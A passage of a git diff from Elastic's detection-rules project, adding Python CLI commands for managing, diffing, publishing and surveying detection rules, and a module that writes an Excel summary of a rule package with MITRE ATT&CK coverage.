reversions.append(change) + + if len(reversions) == 0: + click.echo("No files restored from staging area") + return + + click.echo(f"Restoring {len(reversions)} changes from the staging area...") + for change in reversions: + change.revert(dry_run=dry_run) + + +@dev_group.command('update-lock-versions') +@click.argument('rule-ids', nargs=-1, required=False) +def update_lock_versions(rule_ids): + """Update rule hashes in version.lock.json file without bumping version.""" + rules = RuleCollection.default() + + if rule_ids: + rules = rules.filter(lambda r: r.id in rule_ids) + else: + rules = rules.filter(production_filter) + + if not click.confirm(f'Are you sure you want to update hashes for {len(rules)} rules without a version bump?'): + return + + # this command may not function as expected anymore due to previous changes eliminating the use of add_new=False + changed, new, _ = default_version_lock.manage_versions(rules, exclude_version_update=True, save_changes=True) + + if not changed: + click.echo('No hashes updated') + + return changed + + +@dev_group.command('kibana-diff') +@click.option('--rule-id', '-r', multiple=True, help='Optionally specify rule ID') +@click.option('--repo', default='elastic/kibana', help='Repository where branch is located') +@click.option('--branch', '-b', default='main', help='Specify the kibana branch to diff against') +@click.option('--threads', '-t', type=click.IntRange(1), default=50, help='Number of threads to use to download rules') +def kibana_diff(rule_id, repo, branch, threads): + """Diff rules against their version represented in kibana if exists.""" + from .misc import get_kibana_rules + + rules = RuleCollection.default() + + if rule_id: + rules = rules.filter(lambda r: r.id in rule_id).id_map + else: + rules = rules.filter(production_filter).id_map + + repo_hashes = {r.id: r.contents.sha256(include_version=True) for r in rules.values()} + + kibana_rules = {r['rule_id']: r for r in get_kibana_rules(repo=repo, branch=branch, threads=threads).values()} + kibana_hashes = {r['rule_id']: dict_hash(r) for r in kibana_rules.values()} + + missing_from_repo = list(set(kibana_hashes).difference(set(repo_hashes))) + missing_from_kibana = list(set(repo_hashes).difference(set(kibana_hashes))) + + rule_diff = [] + for rule_id, rule_hash in repo_hashes.items(): + if rule_id in missing_from_kibana: + continue + if rule_hash != kibana_hashes[rule_id]: + rule_diff.append( + f'versions - repo: {rules[rule_id].contents.autobumped_version}, ' + f'kibana: {kibana_rules[rule_id]["version"]} -> ' + f'{rule_id} - {rules[rule_id].contents.name}' + ) + + diff = { + 'missing_from_kibana': [f'{r} - {rules[r].name}' for r in missing_from_kibana], + 'diff': rule_diff, + 'missing_from_repo': [f'{r} - {kibana_rules[r]["name"]}' for r in missing_from_repo] + } + + diff['stats'] = {k: len(v) for k, v in diff.items()} + diff['stats'].update(total_repo_prod_rules=len(rules), total_gh_prod_rules=len(kibana_rules)) + + click.echo(json.dumps(diff, indent=2, sort_keys=True)) + return diff + + +def add_git_args(f): + @click.argument("local-repo", default=get_path("..", "kibana")) + @click.option("--kibana-directory", "-d", help="Directory to overwrite in Kibana", + default="x-pack/plugins/security_solution/server/lib/detection_engine/rules/prepackaged_rules") + @click.option("--base-branch", "-b", help="Base branch in Kibana", default="main") + @click.option("--branch-name", "-n", help="New branch for the rules commit") + @click.option("--ssh/--http", is_flag=True, help="Method to use for cloning") + @click.option("--github-repo", "-r", help="Repository to use for the branch", default="elastic/kibana") + @click.option("--message", "-m", help="Override default commit message") + @functools.wraps(f) + def decorated(*args, **kwargs): + return f(*args, **kwargs) + + return decorated + + +@dev_group.command("kibana-commit") +@add_git_args +@click.option("--push", "-p", is_flag=True, help="Push the commit to the remote") +@click.pass_context +def kibana_commit(ctx, local_repo: str, github_repo: str, ssh: bool, kibana_directory: str, base_branch: str, + branch_name: Optional[str], message: Optional[str], push: bool) -> (str, str): + """Prep a commit and push to Kibana.""" + package_name = Package.load_configs()["name"] + release_dir = os.path.join(RELEASE_DIR, package_name) + message = message or f"[Detection Rules] Add {package_name} rules" + + if not os.path.exists(release_dir): + click.secho("Release directory doesn't exist.", fg="red", err=True) + click.echo(f"Run {click.style('python -m detection_rules dev build-release', bold=True)} to populate", err=True) + ctx.exit(1) + + git = utils.make_git("-C", local_repo) + rules_git = utils.make_git('-C', utils.get_path()) + + # Get the current hash of the repo + long_commit_hash = rules_git("rev-parse", "HEAD") + short_commit_hash = rules_git("rev-parse", "--short", "HEAD") + + try: + if not os.path.exists(local_repo): + click.echo(f"Kibana repository doesn't exist at {local_repo}. Cloning...") + url = f"git@github.com:{github_repo}.git" if ssh else f"https://github.com/{github_repo}.git" + utils.make_git()("clone", url, local_repo, "--depth", "1") + else: + git("checkout", base_branch) + + branch_name = branch_name or f"detection-rules/{package_name}-{short_commit_hash}" + + git("checkout", "-b", branch_name, print_output=True) + git("rm", "-r", kibana_directory) + + source_dir = os.path.join(release_dir, "rules") + target_dir = os.path.join(local_repo, kibana_directory) + os.makedirs(target_dir) + + for name in os.listdir(source_dir): + _, ext = os.path.splitext(name) + path = os.path.join(source_dir, name) + + if ext in (".ts", ".json"): + shutil.copyfile(path, os.path.join(target_dir, name)) + + git("add", kibana_directory) + git("commit", "--no-verify", "-m", message) + git("status", print_output=True) + + if push: + git("push", "origin", branch_name) + + click.echo(f"Kibana repository {local_repo} prepped. Push changes when ready") + click.secho(f"cd {local_repo}", bold=True) + + return branch_name, long_commit_hash + + except subprocess.CalledProcessError as e: + client_error(str(e), e, ctx=ctx) + + +@dev_group.command("kibana-pr") +@click.option("--token", required=True, prompt=get_github_token() is None, default=get_github_token(), + help="GitHub token to use for the PR", hide_input=True) +@click.option("--assign", multiple=True, help="GitHub users to assign the PR") +@click.option("--label", multiple=True, help="GitHub labels to add to the PR") +@click.option("--draft", is_flag=True, help="Open the PR as a draft") +@click.option("--fork-owner", "-f", help="Owner of forked branch (ex: elastic)") +# Pending an official GitHub API +# @click.option("--automerge", is_flag=True, help="Enable auto-merge on the PR") +@add_git_args +@click.pass_context +def kibana_pr(ctx: click.Context, label: Tuple[str, ...], assign: Tuple[str, ...], draft: bool, fork_owner: str, + token: str, **kwargs): + """Create a pull request to Kibana.""" + github = GithubClient(token) + client = github.authenticated_client + repo = client.get_repo(kwargs["github_repo"]) + + branch_name, commit_hash = ctx.invoke(kibana_commit, push=True, **kwargs) + + if fork_owner: + branch_name = f'{fork_owner}:{branch_name}' + + title = f"[Detection Engine] Adds {current_stack_version()} rules" + body = textwrap.dedent(f""" + ## Summary + + Pull updates to detection rules from https://github.com/elastic/detection-rules/tree/{commit_hash}. + + ### Checklist + + Delete any items that are not applicable to this PR. + + - [x] Any text added follows [EUI's writing guidelines](https://elastic.github.io/eui/#/guidelines/writing), + uses sentence case text and includes [i18n support](https://github.com/elastic/kibana/blob/main/packages/kbn-i18n/README.md) + """).strip() # noqa: E501 + pr = repo.create_pull(title, body, base=kwargs["base_branch"], head=branch_name, maintainer_can_modify=True, + draft=draft) + + # labels could also be comma separated + label = {lbl for cs_labels in label for lbl in cs_labels.split(",") if lbl} + + if label: + pr.add_to_labels(*sorted(label)) + + if assign: + pr.add_to_assignees(*assign) + + click.echo("PR created:") + click.echo(pr.html_url) + + +@dev_group.command("integrations-pr") +@click.argument("local-repo", type=click.Path(exists=True, file_okay=False, dir_okay=True), + default=get_path("..", "integrations")) +@click.option("--token", required=True, prompt=get_github_token() is None, default=get_github_token(), + help="GitHub token to use for the PR", hide_input=True) +@click.option("--pkg-directory", "-d", help="Directory to save the package in cloned repository", + default=os.path.join("packages", "security_detection_engine")) +@click.option("--base-branch", "-b", help="Base branch in target repository", default="main") +@click.option("--branch-name", "-n", help="New branch for the rules commit") +@click.option("--github-repo", "-r", help="Repository to use for the branch", default="elastic/integrations") +@click.option("--assign", multiple=True, help="GitHub users to assign the PR") +@click.option("--label", multiple=True, help="GitHub labels to add to the PR") +@click.option("--draft", is_flag=True, help="Open the PR as a draft") +@click.option("--remote", help="Override the remote from 'origin'", default="origin") +@click.pass_context +def integrations_pr(ctx: click.Context, local_repo: str, token: str, draft: bool, + pkg_directory: str, base_branch: str, remote: str, + branch_name: Optional[str], github_repo: str, assign: Tuple[str, ...], label: Tuple[str, ...]): + """Create a pull request to publish the Fleet package to elastic/integrations.""" + github = GithubClient(token) + github.assert_github() + client = github.authenticated_client + repo = client.get_repo(github_repo) + + # Use elastic-package to format and lint + gopath = utils.gopath() + assert gopath is not None, "$GOPATH isn't set" + + err = 'elastic-package missing, run: go install github.com/elastic/elastic-package@latest and verify go bin path' + assert subprocess.check_output(['elastic-package'], stderr=subprocess.DEVNULL), err + + local_repo = os.path.abspath(local_repo) + stack_version = Package.load_configs()["name"] + package_version = Package.load_configs()["registry_data"]["version"] + + release_dir = Path(RELEASE_DIR) / stack_version / "fleet" / package_version + message = f"[Security Rules] Update security rules package to v{package_version}" + + if not release_dir.exists(): + click.secho("Release directory doesn't exist.", fg="red", err=True) + click.echo(f"Run {click.style('python -m detection_rules dev build-release', bold=True)} to populate", err=True) + ctx.exit(1) + + if not Path(local_repo).exists(): + click.secho(f"{github_repo} is not present at {local_repo}.", fg="red", err=True) + ctx.exit(1) + + # Get the most recent commit hash of detection-rules + detection_rules_git = utils.make_git() + long_commit_hash = detection_rules_git("rev-parse", "HEAD") + short_commit_hash = detection_rules_git("rev-parse", "--short", "HEAD") + + # refresh the local clone of the repository + git = utils.make_git("-C", local_repo) + git("checkout", base_branch) + git("pull", remote, base_branch) + + # Switch to a new branch in elastic/integrations + branch_name = branch_name or f"detection-rules/{package_version}-{short_commit_hash}" + git("checkout", "-b", branch_name) + + # Load the changelog in memory, before it's removed. Come back for it after the PR is created + target_directory = Path(local_repo) / pkg_directory + changelog_path = target_directory / "changelog.yml" + changelog_entries: list = yaml.safe_load(changelog_path.read_text(encoding="utf-8")) + + changelog_entries.insert(0, { + "version": package_version, + "changes": [ + # This will be changed later + {"description": "Release security rules update", "type": "enhancement", + "link": "https://github.com/elastic/integrations/pulls/0000"} + ] + }) + + # Remove existing assets and replace everything + shutil.rmtree(target_directory) + actual_target_directory = shutil.copytree(release_dir, target_directory) + assert Path(actual_target_directory).absolute() == Path(target_directory).absolute(), \ + f"Expected a copy to {pkg_directory}" + + # Add the changelog back + def save_changelog(): + with changelog_path.open("wt") as f: + # add a note for other maintainers of elastic/integrations to be careful with versions + f.write("# newer versions go on top\n") + f.write("# NOTE: please use pre-release versions (e.g. -dev.0) until a package is ready for production\n") + + yaml.dump(changelog_entries, f, allow_unicode=True, default_flow_style=False, indent=2) + + save_changelog() + + def elastic_pkg(*args): + """Run a command with $GOPATH/bin/elastic-package in the package directory.""" + prev = os.path.abspath(os.getcwd()) + os.chdir(target_directory) + + try: + return subprocess.check_call([os.path.join(gopath, "bin", "elastic-package")] + list(args)) + finally: + os.chdir(prev) + + elastic_pkg("format") + elastic_pkg("lint") + + # Upload the files to a branch + git("add", pkg_directory) + git("commit", "-m", message) + git("push", "--set-upstream", remote, branch_name) + + # Create a pull request (not done yet, but we need the PR number) + body = textwrap.dedent(f""" + ## What does this PR do? + Update the Security Rules package to version {package_version}. + Autogenerated from commit https://github.com/elastic/detection-rules/tree/{long_commit_hash} + + ## Checklist + + - [x] I have reviewed [tips for building integrations](https://github.com/elastic/integrations/blob/master/docs/tips_for_building_integrations.md) and this pull request is aligned with them. + - [ ] ~I have verified that all data streams collect metrics or logs.~ + - [x] I have added an entry to my package's `changelog.yml` file. + - [x] If I'm introducing a new feature, I have modified the Kibana version constraint in my package's `manifest.yml` file to point to the latest Elastic stack release (e.g. `^7.13.0`). + + ## Author's Checklist + - Install the most recently release security rules in the Detection Engine + - Install the package + - Confirm the update is available in Kibana. Click "Update X rules" or "Install X rules" + - Look at the changes made after the install and confirm they are consistent + + ## How to test this PR locally + - Perform the above checklist, and use `package-storage` to build EPR from source + + ## Related issues + None + + ## Screenshots + None + """) # noqa: E501 + + pr = repo.create_pull(message, body, base_branch, branch_name, maintainer_can_modify=True, draft=draft) + + # labels could also be comma separated + label = {lbl for cs_labels in label for lbl in cs_labels.split(",") if lbl} + + if label: + pr.add_to_labels(*sorted(label)) + + if assign: + pr.add_to_assignees(*assign) + + click.echo("PR created:") + click.echo(pr.html_url) + + # replace the changelog entry with the actual PR link + changelog_entries[0]["changes"][0]["link"] = pr.html_url + save_changelog() + + # format the yml file with elastic-package + elastic_pkg("format") + elastic_pkg("lint") + + # Push the updated changelog to the PR branch + git("add", pkg_directory) + git("commit", "-m", f"Add changelog entry for {package_version}") + git("push") + + +@dev_group.command('license-check') +@click.option('--ignore-directory', '-i', multiple=True, help='Directories to skip (relative to base)') +@click.pass_context +def license_check(ctx, ignore_directory): + """Check that all code files contain a valid license.""" + ignore_directory += ("env",) + failed = False + base_path = Path(get_path()) + + for path in base_path.rglob('*.py'): + relative_path = path.relative_to(base_path) + if relative_path.parts[0] in ignore_directory: + continue + + with io.open(path, "rt", encoding="utf-8") as f: + contents = f.read() + + # skip over shebang lines + if contents.startswith("#!/"): + _, _, contents = contents.partition("\n") + + if not contents.lstrip("\r\n").startswith(PYTHON_LICENSE): + if not failed: + click.echo("Missing license headers for:", err=True) + + failed = True + click.echo(relative_path, err=True) + + ctx.exit(int(failed)) + + +@dev_group.command('package-stats') +@click.option('--token', '-t', help='GitHub token to search API authenticated (may exceed threshold without auth)') +@click.option('--threads', default=50, help='Number of threads to download rules from GitHub') +@click.pass_context +def package_stats(ctx, token, threads): + """Get statistics for current rule package.""" + current_package: Package = ctx.invoke(build_release, verbose=False, release=None) + release = f'v{current_package.name}.0' + new, modified, errors = rule_loader.load_github_pr_rules(labels=[release], token=token, threads=threads) + + click.echo(f'Total rules as of {release} package: {len(current_package.rules)}') + click.echo(f'New rules: {len(current_package.new_ids)}') + click.echo(f'Modified rules: {len(current_package.changed_ids)}') + click.echo(f'Deprecated rules: {len(current_package.removed_ids)}') + + click.echo('\n-----\n') + click.echo('Rules in active PRs for current package: ') + click.echo(f'New rules: {len(new)}') + click.echo(f'Modified rules: {len(modified)}') + + +@dev_group.command('search-rule-prs') +@click.argument('query', required=False) +@click.option('--no-loop', '-n', is_flag=True, help='Run once with no loop') +@click.option('--columns', '-c', multiple=True, help='Specify columns to add the table') +@click.option('--language', type=click.Choice(["eql", "kql"]), default="kql") +@click.option('--token', '-t', help='GitHub token to search API authenticated (may exceed threshold without auth)') +@click.option('--threads', default=50, help='Number of threads to download rules from GitHub') +@click.pass_context +def search_rule_prs(ctx, no_loop, query, columns, language, token, threads): + """Use KQL or EQL to find matching rules from active GitHub PRs.""" + from uuid import uuid4 + from .main import search_rules + + all_rules: Dict[Path, TOMLRule] = {} + new, modified, errors = rule_loader.load_github_pr_rules(token=token, threads=threads) + + def add_github_meta(this_rule: TOMLRule, status: str, original_rule_id: Optional[definitions.UUIDString] = None): + pr = this_rule.gh_pr + data = rule.contents.data + extend_meta = { + 'status': status, + 'github': { + 'base': pr.base.label, + 'comments': [c.body for c in pr.get_comments()], + 'commits': pr.commits, + 'created_at': str(pr.created_at), + 'head': pr.head.label, + 'is_draft': pr.draft, + 'labels': [lbl.name for lbl in pr.get_labels()], + 'last_modified': str(pr.last_modified), + 'title': pr.title, + 'url': pr.html_url, + 'user': pr.user.login + } + } + + if original_rule_id: + extend_meta['original_rule_id'] = original_rule_id + data = dataclasses.replace(rule.contents.data, rule_id=str(uuid4())) + + rule_path = Path(f'pr-{pr.number}-{rule.path}') + new_meta = dataclasses.replace(rule.contents.metadata, extended=extend_meta) + contents = dataclasses.replace(rule.contents, metadata=new_meta, data=data) + new_rule = TOMLRule(path=rule_path, contents=contents) + + all_rules[new_rule.path] = new_rule + + for rule_id, rule in new.items(): + add_github_meta(rule, 'new') + + for rule_id, rules in modified.items(): + for rule in rules: + add_github_meta(rule, 'modified', rule_id) + + loop = not no_loop + ctx.invoke(search_rules, query=query, columns=columns, language=language, rules=all_rules, pager=loop) + + while loop: + query = click.prompt(f'Search loop - enter new {language} query or ctrl-z to exit') + columns = click.prompt('columns', default=','.join(columns)).split(',') + ctx.invoke(search_rules, query=query, columns=columns, language=language, rules=all_rules, pager=True) + + +@dev_group.command('deprecate-rule') +@click.argument('rule-file', type=Path) +@click.pass_context +def deprecate_rule(ctx: click.Context, rule_file: Path): + """Deprecate a rule.""" + version_info = default_version_lock.version_lock + rule_collection = RuleCollection() + contents = rule_collection.load_file(rule_file).contents + rule = TOMLRule(path=rule_file, contents=contents) + + if rule.contents.id not in version_info: + click.echo('Rule has not been version locked and so does not need to be deprecated. ' + 'Delete the file or update the maturity to `development` instead') + ctx.exit() + + today = time.strftime('%Y/%m/%d') + deprecated_path = get_path('rules', '_deprecated', rule_file.name) + + # create the new rule and save it + new_meta = dataclasses.replace(rule.contents.metadata, + updated_date=today, + deprecation_date=today, + maturity='deprecated') + contents = dataclasses.replace(rule.contents, metadata=new_meta) + new_rule = TOMLRule(contents=contents, path=Path(deprecated_path)) + new_rule.save_toml() + + # remove the old rule + rule_file.unlink() + click.echo(f'Rule moved to {deprecated_path} - remember to git add this file') + + +@dev_group.command("update-schemas") +def update_schemas(): + classes = [BaseRuleData] + list(typing.get_args(AnyRuleData)) + + for cls in classes: + cls.save_schema() + + +@dev_group.command('update-navigator-gists') +@click.option('--directory', type=Path, default=CURRENT_RELEASE_PATH.joinpath('extras', 'navigator_layers'), + help='Directory containing only navigator files.') +@click.option('--token', required=True, prompt=get_github_token() is None, default=get_github_token(), + help='GitHub token to push to gist', hide_input=True) +@click.option('--gist-id', default=NAVIGATOR_GIST_ID, help='Gist ID to be updated (must exist).') +@click.option('--print-markdown', is_flag=True, help='Print the generated urls') +def update_navigator_gists(directory: Path, token: str, gist_id: str, print_markdown: bool) -> list: + """Update the gists with new navigator files.""" + assert directory.exists(), f'{directory} does not exist' + + def raw_permalink(raw_link): + # Gist file URLs change with each revision, but can be permalinked to the latest by removing the hash after raw + prefix, _, suffix = raw_link.rsplit('/', 2) + return '/'.join([prefix, suffix]) + + file_map = {f: f.read_text() for f in directory.glob('*.json')} + try: + response = update_gist(token, + file_map, + description='ATT&CK Navigator layer files.', + gist_id=gist_id, + pre_purge=True) + except requests.exceptions.HTTPError as exc: + if exc.response.status_code == requests.status_codes.codes.not_found: + raise client_error('Gist not found: verify the gist_id exists and the token has access to it', exc=exc) + else: + raise + + response_data = response.json() + raw_urls = {name: raw_permalink(data['raw_url']) for name, data in response_data['files'].items()} + + base_url = 'https://mitre-attack.github.io/attack-navigator/#layerURL={}&leave_site_dialog=false&tabs=false' + + # pull out full and platform coverage to print on top of markdown table + all_url = base_url.format(urllib.parse.quote_plus(raw_urls.pop('Elastic-detection-rules-all.json'))) + platforms_url = base_url.format(urllib.parse.quote_plus(raw_urls.pop('Elastic-detection-rules-platforms.json'))) + + generated_urls = [all_url, platforms_url] + markdown_links = [] + for name, gist_url in raw_urls.items(): + query = urllib.parse.quote_plus(gist_url) + url = f'https://mitre-attack.github.io/attack-navigator/#layerURL={query}&leave_site_dialog=false&tabs=false' + generated_urls.append(url) + link_name = name.split('.')[0] + markdown_links.append(f'|[{link_name}]({url})|') + + if print_markdown: + markdown = [ + f'**Full coverage**: {NAVIGATOR_BADGE}', + '\n', + f'**Coverage by platform**: [navigator]({platforms_url})', + '\n', + '| other navigator links by rule attributes |', + '|------------------------------------------|', + ] + markdown_links + click.echo('\n'.join(markdown) + '\n') + + click.echo(f'Gist update status on {len(generated_urls)} files: {response.status_code} {response.reason}') + return generated_urls + + +@dev_group.group('test') +def test_group(): + """Commands for testing against stack resources.""" + + +@test_group.command('event-search') +@click.argument('query') +@click.option('--index', '-i', multiple=True, help='Index patterns to search against') +@click.option('--eql/--lucene', '-e/-l', 'language', default=None, help='Query language used (default: kql)') +@click.option('--date-range', '-d', type=(str, str), default=('now-7d', 'now'), help='Date range to scope search') +@click.option('--count', '-c', is_flag=True, help='Return count of results only') +@click.option('--max-results', '-m', type=click.IntRange(1, 1000), default=100, + help='Max results to return (capped at 1000)') +@click.option('--verbose', '-v', is_flag=True, default=True) +@add_client('elasticsearch') +def event_search(query, index, language, date_range, count, max_results, verbose=True, + elasticsearch_client: Elasticsearch = None): + """Search using a query against an Elasticsearch instance.""" + start_time, end_time = date_range + index = index or ('*',) + language_used = "kql" if language is None else "eql" if language is True else "lucene" + collector = CollectEvents(elasticsearch_client, max_results) + + if verbose: + click.echo(f'searching {",".join(index)} from {start_time} to {end_time}') + click.echo(f'{language_used}: {query}') + + if count: + results = collector.count(query, language_used, index, start_time, end_time) + click.echo(f'total results: {results}') + else: + results = collector.search(query, language_used, index, start_time, end_time, max_results) + click.echo(f'total results: {len(results)} (capped at {max_results})') + click.echo_via_pager(json.dumps(results, indent=2, sort_keys=True)) + + return results + + +@test_group.command('rule-event-search') +@single_collection +@click.option('--date-range', '-d', type=(str, str), default=('now-7d', 'now'), help='Date range to scope search') +@click.option('--count', '-c', is_flag=True, help='Return count of results only') +@click.option('--max-results', '-m', type=click.IntRange(1, 1000), default=100, + help='Max results to return (capped at 1000)') +@click.option('--verbose', '-v', is_flag=True) +@click.pass_context +@add_client('elasticsearch') +def rule_event_search(ctx, rule, date_range, count, max_results, verbose, + elasticsearch_client: Elasticsearch = None): + """Search using a rule file against an Elasticsearch instance.""" + + if isinstance(rule.contents.data, QueryRuleData): + if verbose: + click.echo(f'Searching rule: {rule.name}') + + data = rule.contents.data + rule_lang = data.language + + if rule_lang == 'kuery': + language_flag = None + elif rule_lang == 'eql': + language_flag = True + else: + language_flag = False + + index = data.index or ['*'] + ctx.invoke(event_search, query=data.query, index=index, language=language_flag, + date_range=date_range, count=count, max_results=max_results, verbose=verbose, + elasticsearch_client=elasticsearch_client) + else: + client_error('Rule is not a query rule!') + + +@test_group.command('rule-survey') +@click.argument('query', required=False) +@click.option('--date-range', '-d', type=(str, str), default=('now-7d', 'now'), help='Date range to scope search') +@click.option('--dump-file', type=click.Path(dir_okay=False), + default=get_path('surveys', f'{time.strftime("%Y%m%dT%H%M%SL")}.json'), + help='Save details of results (capped at 1000 results/rule)') +@click.option('--hide-zero-counts', '-z', is_flag=True, help='Exclude rules with zero hits from printing') +@click.option('--hide-errors', '-e', is_flag=True, help='Exclude rules with errors from printing') +@click.pass_context +@add_client('elasticsearch', 'kibana', add_to_ctx=True) +def rule_survey(ctx: click.Context, query, date_range, dump_file, hide_zero_counts, hide_errors, + elasticsearch_client: Elasticsearch = None, kibana_client: Kibana = None): + """Survey rule counts.""" + from eql.table import Table + from kibana.resources import Signal + from .main import search_rules + + survey_results = [] + start_time, end_time = date_range + + if query: + rules = RuleCollection() + paths = [Path(r['file']) for r in ctx.invoke(search_rules, query=query, verbose=False)] + rules.load_files(paths) + else: + rules = RuleCollection.default().filter(production_filter) + + click.echo(f'Running survey against {len(rules)} rules') + click.echo(f'Saving detailed dump to: {dump_file}') + + collector = CollectEvents(elasticsearch_client) + details = collector.search_from_rule(*rules, start_time=start_time, end_time=end_time) + counts = collector.count_from_rule(*rules, start_time=start_time, end_time=end_time) + + # add alerts + with kibana_client: + range_dsl = {'query': {'bool': {'filter': []}}} + add_range_to_dsl(range_dsl['query']['bool']['filter'], start_time, end_time) + alerts = {a['_source']['signal']['rule']['rule_id']: a['_source'] + for a in Signal.search(range_dsl)['hits']['hits']} + + for rule_id, count in counts.items(): + alert_count = len(alerts.get(rule_id, [])) + if alert_count > 0: + count['alert_count'] = alert_count + + details[rule_id].update(count) + + search_count = count['search_count'] + if not alert_count and (hide_zero_counts and search_count == 0) or (hide_errors and search_count == -1): + continue + + survey_results.append(count) + + fields = ['rule_id', 'name', 'search_count', 'alert_count'] + table = Table.from_list(fields, survey_results) + + if len(survey_results) > 200: + click.echo_via_pager(table) + else: + click.echo(table) + + os.makedirs(get_path('surveys'), exist_ok=True) + with open(dump_file, 'w') as f: + json.dump(details, f, indent=2, sort_keys=True) + + return survey_results diff --git a/detection_rules/docs.py b/detection_rules/docs.py new file mode 100644 index 000000000..0ad2b4456 --- /dev/null +++ b/detection_rules/docs.py @@ -0,0 +1,509 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +"""Create summary documents for a rule package.""" +import itertools +import re +import shutil +import textwrap +from collections import defaultdict +from datetime import datetime +from pathlib import Path +from typing import Dict, Iterable, Optional, Union + +import json +import xlsxwriter + +from .attack import attack_tm, matrix, tactics, technique_lookup +from .packaging import Package +from .rule_loader import DeprecatedCollection, RuleCollection +from .rule import ThreatMapping, TOMLRule +from .semver import Version + + +class PackageDocument(xlsxwriter.Workbook): + """Excel document for summarizing a rules package.""" + + def __init__(self, path, package: Package): + """Create an excel workbook for the package.""" + self._default_format = {'font_name': 'Helvetica', 'font_size': 12} + super(PackageDocument, self).__init__(path) + + self.package = package + self.deprecated_rules = package.deprecated_rules + self.production_rules = package.rules + + self.percent = self.add_format({'num_format': '0%'}) + self.bold = self.add_format({'bold': True}) + self.default_header_format = self.add_format({'bold': True, 'bg_color': '#FFBE33'}) + self.center = self.add_format({'align': 'center', 'valign': 'center'}) + self.bold_center = self.add_format({'bold': True, 'align': 'center', 'valign': 'center'}) + self.right_align = self.add_format({'align': 'right'}) + + self._coverage = self._get_attack_coverage() + + def add_format(self, properties=None): + """Add a format to the doc.""" + properties = properties or {} + for key in self._default_format: + if key not in properties: + properties[key] = self._default_format[key] + + return super(PackageDocument, self).add_format(properties) + + def _get_attack_coverage(self): + coverage = defaultdict(lambda: defaultdict(lambda: defaultdict(int))) + + for rule in self.package.rules: + threat = rule.contents.data.threat + sub_dir = Path(rule.path).parent.name + + if threat: + for entry in threat: + tactic = entry.tactic + techniques = entry.technique or [] + for technique in techniques: + if technique.id in matrix[tactic.name]: + coverage[tactic.name][technique.id][sub_dir] += 1 + + return coverage + + def populate(self): + """Populate the different pages.""" + self.add_summary() + self.add_rule_details() + self.add_attack_matrix() + self.add_rta_mapping() + self.add_rule_details(self.deprecated_rules, 'Deprecated Rules') + + def add_summary(self): + """Add the summary worksheet.""" + worksheet = self.add_worksheet('Summary') + worksheet.freeze_panes(1, 0) + worksheet.set_column(0, 0, 25) + worksheet.set_column(1, 1, 10) + + row = 0 + worksheet.merge_range(row, 0, row, 1, "SUMMARY", self.bold_center) + row += 1 + + worksheet.write(row, 0, "Package Name") + worksheet.write(row, 1, self.package.name, self.right_align) + row += 1 + + tactic_counts = defaultdict(int) + for rule in self.package.rules: + threat = rule.contents.data.threat + if threat: + for entry in threat: + tactic_counts[entry.tactic.name] += 1 + + worksheet.write(row, 0, "Total Production Rules") + worksheet.write(row, 1, len(self.production_rules)) + row += 2 + + worksheet.write(row, 0, "Total Deprecated Rules") + worksheet.write(row, 1, len(self.deprecated_rules)) + row += 1 + + worksheet.write(row, 0, "Total Rules") + worksheet.write(row, 1, len(self.package.rules)) + row += 2 + + worksheet.merge_range(row, 0, row, 3, f"MITRE {attack_tm} TACTICS", self.bold_center) + row += 1 + + for tactic in tactics: + worksheet.write(row, 0, tactic) + worksheet.write(row, 1, tactic_counts[tactic]) + num_techniques = len(self._coverage[tactic]) + total_techniques = len(matrix[tactic]) + percent = float(num_techniques) / float(total_techniques) + worksheet.write(row, 2, percent, self.percent) + worksheet.write(row, 3, f'{num_techniques}/{total_techniques}', self.right_align) + row += 1 + + def add_rule_details(self, rules: Optional[Union[DeprecatedCollection, RuleCollection]] = None, + name='Rule Details'): + """Add a worksheet for detailed metadata of rules.""" + if rules is None: + rules = self.production_rules + + worksheet = self.add_worksheet(name) + worksheet.freeze_panes(1, 1) + headers = ('Name', 'ID', 'Version', 'Type', 'Language', 'Index', 'Tags', + f'{attack_tm} Tactics', f'{attack_tm} Techniques', 'Description') + + for column, header in enumerate(headers): + worksheet.write(0, column, header, self.default_header_format) + + column_max_widths = [0 for i in range(len(headers))] + metadata_fields = ( + 'name', 'rule_id', 'version', 'type', 'language', 'index', 'tags', 'tactics', 'techniques', 'description' + ) + + for row, rule in enumerate(rules, 1): + rule_contents = {'tactics': '', 'techniques': ''} + if isinstance(rules, RuleCollection): + flat_mitre = ThreatMapping.flatten(rule.contents.data.threat) + rule_contents = {'tactics': flat_mitre.tactic_names, 'techniques': flat_mitre.technique_ids} + + rule_contents.update(rule.contents.to_api_format()) + + for column, field in enumerate(metadata_fields): + value = rule_contents.get(field) + if value is None: + continue + elif isinstance(value, list): + value = ', '.join(value) + worksheet.write(row, column, value) + column_max_widths[column] = max(column_max_widths[column], len(str(value))) + + # cap description width at 80 + column_max_widths[-1] = 80 + + # this is still not perfect because the font used is not monospaced, but it gets it close + for index, width in enumerate(column_max_widths): + worksheet.set_column(index, index, width) + + worksheet.autofilter(0, 0, len(rules) + 1, len(headers) - 1) + + def add_rta_mapping(self): + """Add a worksheet for the RTA/Rule RTA mapping.""" + from .rule_loader import rta_mappings + + worksheet = self.add_worksheet('RTA Mapping') + worksheet.freeze_panes(1, 0) + headers = ('Rule ID', 'Rule Name', 'RTA') + for column, header in enumerate(headers): + worksheet.write(0, column, header, self.default_header_format) + + row = 1 + for rule_id, mapping in rta_mappings.get_rta_mapping().items(): + worksheet.write(row, 0, rule_id) + worksheet.write(row, 1, mapping['rule_name']) + worksheet.write(row, 2, mapping['rta_name']) + row += 1 + + worksheet.set_column(0, 0, 35) + worksheet.set_column(1, 1, 50) + worksheet.set_column(2, 2, 35) + + def add_attack_matrix(self): + """Add a worksheet for ATT&CK coverage.""" + worksheet = self.add_worksheet(attack_tm + ' Coverage') + worksheet.freeze_panes(1, 0) + header = self.add_format({'font_size': 12, 'bold': True, 'bg_color': '#005B94', 'font_color': 'white'}) + default = self.add_format({'font_size': 10, 'text_wrap': True}) + bold = self.add_format({'font_size': 10, 'bold': True, 'text_wrap': True}) + technique_url = 'https://attack.mitre.org/techniques/' + + for column, tactic in enumerate(tactics): + worksheet.write(0, column, tactic, header) + worksheet.set_column(column, column, 20) + + for row, technique_id in enumerate(matrix[tactic], 1): + technique = technique_lookup[technique_id] + fmt = bold if technique_id in self._coverage[tactic] else default + + coverage = self._coverage[tactic].get(technique_id) + coverage_str = '' + if coverage: + coverage_str = '\n\n' + coverage_str += 